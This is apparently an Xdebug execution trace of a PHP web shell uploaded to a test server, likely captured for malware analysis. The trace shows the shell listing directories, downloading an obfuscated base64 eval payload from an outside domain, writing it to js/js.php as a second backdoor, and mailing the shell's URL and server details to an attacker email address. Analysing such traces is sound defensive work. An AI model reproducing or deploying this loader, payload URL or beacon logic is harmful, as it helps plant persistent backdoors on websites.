5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	581	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	584	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	587	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	588	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	591	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	594	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	595	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	598	$info .= 'x'
5	110	1	0.402240	628752
5	110	R			'drwxrwxrwx'
5	112	0	0.402254	628672	getFileOwner	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	468	2	'/var/www/'	'html/'
6	113	0	0.402269	628712	fileowner	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	1	'/var/www/html/'
6	113	1	0.402283	628752
6	113	R			0
6	114	0	0.402295	628672	posix_getpwuid	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	1	0
6	114	1	0.402320	629472
6	114	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	$fileOwnerInfo = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	112	1	0.402371	628704
5	112	R			'root'
5	115	0	0.402385	628672	getFileGroup	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	469	2	'/var/www/'	'html/'
6	116	0	0.402401	628712	filegroup	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	1	'/var/www/html/'
6	116	1	0.402415	628752
6	116	R			0
6	117	0	0.402427	628672	posix_getgrgid	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	1	0
6	117	1	0.402450	629328
6	117	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	$fileGroupInfo = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	115	1	0.402493	628704
5	115	R			'root'
5	118	0	0.402507	628672	readdir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	1	resource(13) of type (stream)
5	118	1	0.402522	628744
5	118	R			'.'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	$file = '.'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	430	$link = '.'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	432	$fileDisplayName = '.'
5	119	0	0.402572	628456	filepermission	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	435	1	'/var/www/.'
6	120	0	0.402587	628456	fileperms	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	1	'/var/www/.'
6	120	1	0.402603	628496
6	120	R			16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	$perms = 16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	567	$info = 'd'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	580	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	581	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	584	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	587	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	588	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	591	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	594	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	595	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	598	$info .= 'x'
5	119	1	0.402729	628496
5	119	R			'drwxrwxrwx'
5	121	0	0.402743	628456	substr	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	435	3	'drwxrwxrwx'	0	1
5	121	1	0.402758	628552
5	121	R			'd'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	438	$formId = '.d'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	443	$file = ''
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	451	$link = '<form id=".d" action="" method="get"> <input type="hidden" name="directory" value="/var/www/"> <a href="#" onclick="document.getElementById(\'.d\').submit();"> . </a></form>'
5	122	0	0.402811	628640	getFileSize	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	465	2	'/var/www/'	''
6	123	0	0.402826	628640	filesize	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	607	1	'/var/www/'
6	123	1	0.402841	628680
6	123	R			4096
5	122	1	0.402854	628640
5	122	R			4096
5	124	0	0.402867	628640	getFileLastModTime	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	466	2	'/var/www/'	''
6	125	0	0.402882	628640	filemtime	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	613	1	'/var/www/'
6	125	1	0.402896	628680
6	125	R			1676238152
6	126	0	0.402908	628640	date	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	613	2	'F d Y H:i:s.'	1676238152
6	126	1	0.402940	628968
6	126	R			'February 12 2023 16:42:32.'
5	124	1	0.402955	628896
5	124	R			'February 12 2023 16:42:32.'
5	127	0	0.402969	628640	filepermission	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	467	1	'/var/www/'
6	128	0	0.402983	628640	fileperms	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	1	'/var/www/'
6	128	1	0.402997	628680
6	128	R			16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	$perms = 16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	567	$info = 'd'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	580	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	581	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	584	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	587	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	588	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	591	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	594	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	595	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	598	$info .= 'x'
5	127	1	0.403123	628680
5	127	R			'drwxrwxrwx'
5	129	0	0.403138	628640	getFileOwner	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	468	2	'/var/www/'	''
6	130	0	0.403152	628640	fileowner	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	1	'/var/www/'
6	130	1	0.403170	628680
6	130	R			0
6	131	0	0.403182	628640	posix_getpwuid	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	1	0
6	131	1	0.403207	629440
6	131	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	$fileOwnerInfo = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	129	1	0.403256	628672
5	129	R			'root'
5	132	0	0.403270	628640	getFileGroup	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	469	2	'/var/www/'	''
6	133	0	0.403285	628640	filegroup	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	1	'/var/www/'
6	133	1	0.403299	628680
6	133	R			0
6	134	0	0.403311	628640	posix_getgrgid	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	1	0
6	134	1	0.403334	629296
6	134	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	$fileGroupInfo = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	132	1	0.403377	628672
5	132	R			'root'
5	135	0	0.403391	628640	readdir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	1	resource(13) of type (stream)
5	135	1	0.403406	628680
5	135	R			FALSE
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	$file = FALSE
5	136	0	0.403431	628640	closedir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	474	1	resource(13) of type (stream)
5	136	1	0.403448	628456
5	136	R			NULL
4	81	1	0.403461	628104
4	137	0	0.403468	628104	foothtml	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	819	0
4	137	1	0.403483	628104
4	138	0	0.403495	628104	fopen	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	827	2	'data.txt'	'r'
4	138	1	0.403525	628176
4	138	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	827	$datas = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	828	$i = 0
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	829	$i++
4	139	0	0.403572	628104	fgets	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	2	FALSE	1024
4	139	1	0.403589	628168
4	139	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	$blue = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	829	$i++
4	140	0	0.403622	628104	fgets	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	2	FALSE	1024
4	140	1	0.403637	628168
4	140	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	$blue = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	829	$i++
4	141	0	0.403669	628104	fgets	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	2	FALSE	1024
4	141	1	0.403684	628168
4	141	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	$blue = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	829	$i++
4	142	0	0.403715	628104	fgets	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	2	FALSE	1024
4	142	1	0.403730	628168
4	142	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	$blue = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	829	$i++
4	143	0	0.403760	628104	fgets	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	2	FALSE	1024
4	143	1	0.403775	628168
4	143	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	$blue = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	829	$i++
4	144	0	0.403805	628104	fgets	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	2	FALSE	1024
4	144	1	0.403820	628168
4	144	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	830	$blue = FALSE
4	145	0	0.403846	628104	fopen	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	832	2	'js/js.php'	'r'
4	145	1	0.403872	628176
4	145	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	832	$datasi = FALSE
4	146	0	0.403897	628104	mkdir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	833	1	'js'
4	146	1	0.403937	628144
4	146	R			TRUE
4	147	0	0.403951	628104	file_get_contents	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	834	1	'https://wordpres.page/txt/lamer.txt'
4	147	1	0.698624	679096
4	147	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	834	$dos = '<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	835	$data = 'js/js.php'
4	148	0	0.698794	679056	touch	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	836	1	'js/js.php'
4	148	1	0.698842	679096
4	148	R			TRUE
4	149	0	0.698858	679056	fopen	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	837	2	'js/js.php'	'w'
4	149	1	0.698894	679584
4	149	R			resource(15) of type (stream)
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	837	$ver = resource(15) of type (stream)
4	150	0	0.698923	679512	fwrite	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	838	2	resource(15) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	150	1	0.699017	679576
4	150	R			47731
4	151	0	0.699032	679512	fclose	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	839	1	resource(15) of type (stream)
4	151	1	0.699085	679112
4	151	R			TRUE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	840	$yol = 'http://localhost/uploads/Vhosts.php'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	841	$y = '<h1>Sender Yazdirildi.<br/> SITE YOL : http://localhost/uploads/Vhosts.php<br/>Sender Yolu : js/crs.php</h1>'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	842	$header .= 'From: SheLL Boot <suppor@nic.org>\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	843	$header .= 'Content-Type: text/html;\r\n charset=utf-8\n'
4	152	0	0.699205	679416	mail	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	845	4	'byhero44@gmail.com'	'Hacklink Bildiri'	'<h1>Sender Yazdirildi.<br/> SITE YOL : http://localhost/uploads/Vhosts.php<br/>Sender Yolu : js/crs.php</h1>'	'From: SheLL Boot <suppor@nic.org>\nContent-Type: text/html;\r\n charset=utf-8\n'
4	152	1	0.699994	679560
4	152	R			FALSE
4	153	0	0.700018	679416	mail	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	846	4	'byhero44@gmail.com'	'Hacklink Bildiri'	'<h1>Sender Yazdirildi.<br/> SITE YOL : http://localhost/uploads/Vhosts.php<br/>Sender Yolu : js/crs.php</h1>'	'From: SheLL Boot <suppor@nic.org>\nContent-Type: text/html;\r\n charset=utf-8\n'
4	153	1	0.700745	679560
4	153	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	849	$kime = 'byhero44@gmail.com'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	850	$baslik = 'keisatsu shell 20203'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	851	$EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	852	$EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	853	$EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	854	$EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/Vhosts.php\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	855	$EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n'
4	154	0	0.700873	679416	mail	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	856	3	'byhero44@gmail.com'	'keisatsu shell 20203'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/Vhosts.php\r\nAvlanan Site : localhost\r\n'
4	154	1	0.701769	679512
4	154	R			FALSE
3	19	1	0.701795	679416
2	7	1	0.701811	624720
1	3	1	0.701818	621424
			0.701855	538568
TRACE END   [2023-02-12 19:42:59.523849]

